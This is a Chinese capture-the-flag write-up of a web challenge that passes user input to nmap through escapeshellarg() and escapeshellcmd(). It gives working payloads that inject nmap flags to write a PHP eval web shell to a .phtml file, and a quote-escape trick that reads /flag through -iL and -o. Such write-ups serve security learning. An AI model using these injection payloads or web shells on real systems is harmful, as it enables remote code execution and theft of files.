这道题也很好玩 啊 原本以为是ssrf 或者会不会是rce
结果是通过nmap写入木马
我们来玩一下
传入木马
映入眼帘是nmap
我们首先就要了解nmap的指令
Nmap 相关参数-iL 读取文件内容,以文件内容作为搜索目标
-o 输出到文件-oN 标准保存-oX XML保存-oG Grep保存-oA 保存到所有格式
我们将木马作为文件读取 然后输出到.php后缀中
<?php @eval($_POST['attack']);?> -oG hak.php
我们换短标签看看
<? echo @eval($_POST['attack']); ?> -oG hak.php
发现还不行 我们看看是不是php过滤了
果然 那我们使用其他的 例如phtml
'<? echo @eval($_POST["a"]);?> -oG hck.phtml '
任意文件读取
这里我不知道师傅们怎么知道存在 escapshellarg()和escapshellcmd()的
但是我们可以通过这两个来了解
escapshellarg()
这个的操作比较多
对类似非法的 进行 加引号和转义符
例如
' ----> '\''
escapshellcmd()
这个是对非法进行加转义符
' ----> \'
我们这里可以进行尝试
127.0.0.1' -iL /flag 1.txt
通过arg过滤是
'127.0.0.1'\'' -iL /flag 1.txt'
然后通过 cmd转义
这里会匹配\ 为非法 进行转义
'127.0.0.1'\\'' -iL /flag -o 1.txt'
那么这里 \\ '' 就会识别为\
所以简化就是
'127.0.0.1'\ -iL /flag -o1.txt'
从而爆出读取失败的值
这里报错值的原理是去访问 文件 使用参数 -iL
然后 读取失败 就会将读取的值报错出来
然后我们访问1.txt' 记得后面有一个逃逸的单引号
127.0.0.1'\ -iL /flag -o1.txt
就可以实现读取